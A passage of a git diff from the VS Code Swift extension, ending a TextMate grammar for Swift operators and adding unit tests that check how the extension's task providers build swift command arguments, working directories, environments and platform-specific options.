[\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.assignment.swift", + "match": "\\G=$" + }, + { + "name": "keyword.operator.assignment.compound.swift", + "match": "\\G(\\+|\\-|\\*|/|%|<<|>>|&|\\^|\\||&&|\\|\\|)=$" + }, + { + "name": "keyword.operator.arithmetic.swift", + "match": "\\G(\\+|\\-|\\*|/)$" + }, + { + "name": "keyword.operator.arithmetic.overflow.swift", + "match": "\\G&(\\+|\\-|\\*)$" + }, + { + "name": "keyword.operator.arithmetic.remainder.swift", + "match": "\\G%$" + }, + { + "name": "keyword.operator.comparison.swift", + "match": "\\G(==|!=|>|<|>=|<=|~=)$" + }, + { + "name": "keyword.operator.coalescing.swift", + "match": "\\G\\?\\?$" + }, + { + "name": "keyword.operator.logical.swift", + "match": "\\G(&&|\\|\\|)$" + }, + { + "name": "keyword.operator.bitwise.swift", + "match": "\\G(&|\\||\\^|<<|>>)$" + }, + { + "name": "keyword.operator.bitwise.swift", + "match": "\\G(===|!==)$" + }, + { + "name": "keyword.operator.ternary.swift", + "match": "\\G\\?$" + }, + { + "name": "keyword.operator.custom.infix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot prefix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?<=^|[\\s(\\[{,;:])\n\\. # dot\n(\n (?!(//|/\\*|\\*/))\n (\n \\. # dot\n | [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?![\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.custom.prefix.dot.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot postfix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?=[\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.custom.postfix.dot.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot infix operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n\\. # dot\n(\n (?!(//|/\\*|\\*/))\n (\n \\. # dot\n | [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.range.swift", + "match": "\\G\\.\\.[.<]$" + }, + { + "name": "keyword.operator.custom.infix.dot.swift", + "match": ".+" + } + ] + } + } + } + ] + }, + { + "name": "keyword.operator.ternary.swift", + "match": ":" + } + ] + }, + "root": { + "patterns": [ + { + "include": "#compiler-control" + }, + { + "include": "#declarations" + }, + { + "include": "#expressions" + } + ] + } + } +} diff --git a/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts new file mode 100644 index 000000000..4f90d934c --- /dev/null +++ b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts @@ -0,0 +1,328 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as os from "os"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftPluginTaskProvider } from "@src/tasks/SwiftPluginTaskProvider"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockFn, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("SwiftPluginTaskProvider Unit Test Suite", () => { + let workspaceContext: MockedObject; + let workspaceFolder: vscode.WorkspaceFolder; + let toolchain: MockedObject; + let buildFlags: MockedObject; + + setup(async () => { + buildFlags = mockObject({ + withAdditionalFlags: mockFn(s => s.callsFake(args => args)), + }); + toolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + buildFlags: instance(buildFlags), + getToolchainExecutable: mockFn(s => s.withArgs("swift").returns("/path/to/bin/swift")), + }); + const folderContext = mockObject({ + workspaceContext: instance(workspaceContext), + workspaceFolder, + toolchain: instance(toolchain), + }); + workspaceContext = mockObject({ + globalToolchain: instance(toolchain), + currentFolder: instance(folderContext), + }); + workspaceFolder = { + uri: vscode.Uri.file("/path/to/workspace"), + name: "myWorkspace", + index: 0, + }; + }); + + suite("resolveTask", () => { + const configurationMock = mockGlobalValue(configuration, "swiftEnvironmentVariables"); + + setup(async () => { + configurationMock.setValue({ + FOO: "bar", + }); + }); + + test("uses SwiftExecution", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + assert.equal(resolvedTask.execution instanceof SwiftExecution, true); + }); + + test("uses toolchain swift path", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.command, "/path/to/bin/swift"); + }); + + test("includes task's cwd", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + cwd: `${workspaceFolder.uri.fsPath}/myCWD`, + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, `${workspaceFolder.uri.fsPath}/myCWD`); + }); + + test("includes scope cwd", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, workspaceFolder.uri.fsPath); + }); + + test("includes resolved cwd", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + cwd: "myCWD", + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal( + swiftExecution.options.cwd, + path.normalize(`${workspaceFolder.uri.fsPath}/myCWD`) + ); + }); + + test("includes fallback cwd", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + cwd: "myCWD", + }, + vscode.TaskScope.Global, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, "myCWD"); + }); + + test("includes command as argument", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + command: "my-plugin", + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["package", "my-plugin"]); + }); + + test("includes sdk flags", async () => { + buildFlags.withAdditionalFlags + .withArgs(match(["package", "my-plugin"])) + .returns(["package", "my-plugin", "--sdk", "/path/to/sdk"]); + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + command: "my-plugin", + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, [ + "package", + "my-plugin", + "--sdk", + "/path/to/sdk", + ]); + }); + + test("disables sandbox", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + command: "my-plugin", + disableSandbox: true, + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["package", "--disable-sandbox", "my-plugin"]); + }); + + test("allows writing to package directory", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: [], + command: "my-plugin", + allowWritingToPackageDirectory: true, + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, [ + "package", + "--allow-writing-to-package-directory", + "my-plugin", + ]); + }); + + test("substitutes variables", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift-plugin", + args: ["${cwd}", "${userHome}"], + command: "my-plugin", + }, + workspaceFolder, + "MyPlugin", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, [ + "package", + "my-plugin", + process.cwd(), + os.homedir(), + ]); + }); + + test("provides environment", async () => { + const taskProvider = new SwiftPluginTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.env?.FOO, "bar"); + }); + }); +}); diff --git a/test/unit-tests/tasks/SwiftTaskProvider.test.ts b/test/unit-tests/tasks/SwiftTaskProvider.test.ts new file mode 100644 index 000000000..1cefd5a78 --- /dev/null +++ b/test/unit-tests/tasks/SwiftTaskProvider.test.ts @@ -0,0 +1,752 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as os from "os"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { + SwiftTaskProvider, + buildOptions, + createSwiftTask, + getBuildAllTask, + platformDebugBuildOptions, +} from "@src/tasks/SwiftTaskProvider"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { Sanitizer } from "@src/toolchain/Sanitizer"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; + +suite("SwiftTaskProvider Unit Test Suite", () => { + let workspaceContext: MockedObject; + let workspaceFolder: vscode.WorkspaceFolder; + let toolchain: MockedObject; + let buildFlags: MockedObject; + + const platformMock = mockGlobalValue(process, "platform"); + + setup(() => { + buildFlags = mockObject({ + withAdditionalFlags: mockFn(s => s.callsFake(arr => arr)), + }); + toolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + buildFlags: instance(buildFlags), + sanitizer: mockFn(), + getToolchainExecutable: mockFn(s => s.withArgs("swift").returns("/path/to/bin/swift")), + }); + const folderContext = mockObject({ + workspaceContext: instance(workspaceContext), + workspaceFolder, + toolchain: instance(toolchain), + }); + workspaceContext = mockObject({ + globalToolchain: instance(toolchain), + currentFolder: instance(folderContext), + }); + workspaceFolder = { + uri: vscode.Uri.file("/path/to/workspace"), + name: "myWorkspace", + index: 0, + }; + }); + + suite("platformDebugBuildOptions", () => { + test("windows, before 5.9", () => { + platformMock.setValue("win32"); + toolchain.swiftVersion = new Version(5, 8, 1); + + assert.deepEqual(platformDebugBuildOptions(instance(toolchain)), [ + "-Xswiftc", + "-g", + "-Xswiftc", + "-use-ld=lld", + "-Xlinker", + "-debug:dwarf", + ]); + }); + + test("windows, after 5.9", () => { + platformMock.setValue("win32"); + const expected = ["-Xlinker", "-debug:dwarf"]; + + toolchain.swiftVersion = new Version(5, 9, 0); + assert.deepEqual(platformDebugBuildOptions(instance(toolchain)), expected); + + toolchain.swiftVersion = new Version(6, 0, 0); + assert.deepEqual(platformDebugBuildOptions(instance(toolchain)), expected); + }); + + test("linux", () => { + platformMock.setValue("linux"); + + assert.deepEqual(platformDebugBuildOptions(instance(toolchain)), []); + }); + + test("macOS", () => { + platformMock.setValue("darwin"); + + assert.deepEqual(platformDebugBuildOptions(instance(toolchain)), []); + }); + }); + + suite("buildOptions", () => { + const buildArgs = mockGlobalValue(configuration, "buildArguments"); + const diagnosticsStyle = mockGlobalValue(configuration, "diagnosticsStyle"); + const sanitizerConfig = mockGlobalValue(configuration, "sanitizer"); + + setup(() => { + platformMock.setValue("darwin"); + buildArgs.setValue([]); + diagnosticsStyle.setValue("default"); + }); + + test("include debug options", () => { + platformMock.setValue("win32"); + assert.deepEqual(buildOptions(instance(toolchain), true), ["-Xlinker", "-debug:dwarf"]); + }); + + test("don't include debug options", () => { + platformMock.setValue("win32"); + assert.deepEqual(buildOptions(instance(toolchain), false), []); + }); + + test("include diagnostic style", () => { + diagnosticsStyle.setValue("llvm"); + assert.deepEqual(buildOptions(instance(toolchain), false), [ + "-Xswiftc", + "-diagnostic-style=llvm", + ]); + }); + + test("include sanitizer flags", () => { + const sanitizer = mockObject({ + buildFlags: ["--sanitize=thread"], + }); + toolchain.sanitizer.withArgs("thread").returns(instance(sanitizer)); + sanitizerConfig.setValue("thread"); + + assert.deepEqual(buildOptions(instance(toolchain), false), ["--sanitize=thread"]); + }); + + test("include build flags", () => { + buildArgs.setValue(["-DFOO"]); + + assert.deepEqual(buildOptions(instance(toolchain), false), ["-DFOO"]); + }); + }); + + suite("createSwiftTask", () => { + const envConfig = mockGlobalValue(configuration, "swiftEnvironmentVariables"); + + test("uses SwiftExecution", () => { + const task = createSwiftTask( + ["--help"], + "help", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + instance(toolchain) + ); + assert.equal(task.execution instanceof SwiftExecution, true); + }); + + test("uses toolchain swift path", () => { + const task = createSwiftTask( + ["--help"], + "help", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + instance(toolchain) + ); + assert.equal(task.execution.command, "/path/to/bin/swift"); + }); + + test("include sdk flags", () => { + buildFlags.withAdditionalFlags + .withArgs(match(["build"])) + .returns(["build", "--sdk", "/path/to/sdk", "--replace-scm-with-registry"]); + const task = createSwiftTask( + ["build"], + "build", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + instance(toolchain) + ); + assert.deepEqual(task.execution.args, [ + "build", + "--sdk", + "/path/to/sdk", + "--replace-scm-with-registry", + ]); + }); + + test("include environment", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { cwd: workspaceFolder.uri, scope: vscode.TaskScope.Workspace }, + instance(toolchain), + { BAZ: "2" } + ); + assert.deepEqual(task.execution.options.env, { FOO: "1", BAZ: "2" }); + }); + + test("include presentation", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { + cwd: workspaceFolder.uri, + scope: vscode.TaskScope.Workspace, + presentationOptions: { reveal: vscode.TaskRevealKind.Always }, + }, + instance(toolchain), + { BAZ: "2" } + ); + assert.deepEqual(task.presentationOptions, { reveal: vscode.TaskRevealKind.Always }); + }); + + test("include group", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { + cwd: workspaceFolder.uri, + scope: vscode.TaskScope.Workspace, + group: vscode.TaskGroup.Build, + }, + instance(toolchain), + { BAZ: "2" } + ); + assert.equal(task.group, vscode.TaskGroup.Build); + }); + + test("include showBuildStatus", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { + cwd: workspaceFolder.uri, + scope: vscode.TaskScope.Workspace, + showBuildStatus: "progress", + }, + instance(toolchain), + { BAZ: "2" } + ); + assert.equal(task.definition.showBuildStatus, "progress"); + }); + + test("include disableTaskQueue", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { + cwd: workspaceFolder.uri, + scope: vscode.TaskScope.Workspace, + disableTaskQueue: true, + }, + instance(toolchain), + { BAZ: "2" } + ); + assert.equal(task.definition.disableTaskQueue, true); + }); + + test("include dontTriggerTestDiscovery", () => { + envConfig.setValue({ FOO: "1" }); + const task = createSwiftTask( + ["--help"], + "help", + { + cwd: workspaceFolder.uri, + scope: vscode.TaskScope.Workspace, + dontTriggerTestDiscovery: true, + }, + instance(toolchain), + { BAZ: "2" } + ); + assert.equal(task.definition.dontTriggerTestDiscovery, true); + }); + }); + + suite("resolveTask", () => { + test("uses SwiftExecution", () => { + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + assert.equal(resolvedTask.execution instanceof SwiftExecution, true); + }); + + test("uses toolchain swift path", () => { + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.command, "/path/to/bin/swift"); + }); + + test("substitutes variables", () => { + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: ["run", "PackageExe", "--", "${cwd}", "${userHome}"], + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, [ + "run", + "PackageExe", + "--", + process.cwd(), + os.homedir(), + ]); + }); + + suite("Platform cwd", () => { + test("includes macos cwd", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + cwd: workspaceFolder.uri.fsPath, + macos: { + cwd: `${workspaceFolder.uri.fsPath}/macos`, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, `${workspaceFolder.uri.fsPath}/macos`); + }); + + test("includes linux cwd", () => { + platformMock.setValue("linux"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + cwd: workspaceFolder.uri.fsPath, + linux: { + cwd: `${workspaceFolder.uri.fsPath}/linux`, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, `${workspaceFolder.uri.fsPath}/linux`); + }); + + test("includes windows cwd", () => { + platformMock.setValue("win32"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + cwd: workspaceFolder.uri.fsPath, + windows: { + cwd: `${workspaceFolder.uri.fsPath}/windows`, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, `${workspaceFolder.uri.fsPath}/windows`); + }); + + test("fallback default cwd", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + cwd: workspaceFolder.uri.fsPath, + linux: { + cwd: `${workspaceFolder.uri.fsPath}/linux`, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.cwd, workspaceFolder.uri.fsPath); + }); + }); + + suite("Platform env", () => { + test("includes macos env", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + env: { + FOO: "bar", + }, + macos: { + env: { + FOO: "baz", + }, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.env?.FOO, "baz"); + }); + + test("includes linux env", () => { + platformMock.setValue("linux"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + env: { + FOO: "bar", + }, + linux: { + env: { + FOO: "baz", + }, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.env?.FOO, "baz"); + }); + + test("includes windows env", () => { + platformMock.setValue("win32"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + env: { + FOO: "bar", + }, + windows: { + env: { + FOO: "baz", + }, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.env?.FOO, "baz"); + }); + + test("fallback default env", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: [], + env: { + FOO: "bar", + }, + linux: { + env: { + FOO: "baz", + }, + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.equal(swiftExecution.options.env?.FOO, "bar"); + }); + }); + + suite("Platform args", () => { + test("includes macos args", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: ["run", "PackageExe"], + macos: { + args: ["run", "MacosPackageExe"], + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["run", "MacosPackageExe"]); + }); + + test("includes linux args", () => { + platformMock.setValue("linux"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: ["run", "PackageExe"], + linux: { + args: ["run", "LinuxPackageExe"], + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["run", "LinuxPackageExe"]); + }); + + test("includes windows args", () => { + platformMock.setValue("win32"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: ["run", "PackageExe"], + windows: { + args: ["run", "WinPackageExe"], + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["run", "WinPackageExe"]); + }); + + test("fallback default args", () => { + platformMock.setValue("darwin"); + const taskProvider = new SwiftTaskProvider(instance(workspaceContext)); + const task = new vscode.Task( + { + type: "swift", + args: ["run", "PackageExe"], + linux: { + args: ["run", "LinuxPackageExe"], + }, + }, + workspaceFolder, + "run PackageExe", + "swift" + ); + const resolvedTask = taskProvider.resolveTask( + task, + new vscode.CancellationTokenSource().token + ); + const swiftExecution = resolvedTask.execution as SwiftExecution; + assert.deepEqual(swiftExecution.args, ["run", "PackageExe"]); + }); + }); + }); + + suite("getBuildAllTask", () => { + const tasksMock = mockGlobalObject(vscode, "tasks"); + + let folderContext: MockedObject; + let extensionTask: vscode.Task; + let workspaceTask: vscode.Task; + + setup(() => { + folderContext = mockObject({ + workspaceContext: instance(workspaceContext), + workspaceFolder: workspaceFolder, + folder: workspaceFolder.uri, + relativePath: "", + }); + + tasksMock.fetchTasks.resolves([]); + + extensionTask = createSwiftTask( + ["build"], + SwiftTaskProvider.buildAllName, + { + cwd: workspaceFolder.uri, + scope: workspaceFolder, + }, + instance(toolchain) + ); + workspaceTask = createSwiftTask( + ["build"], + `swift: 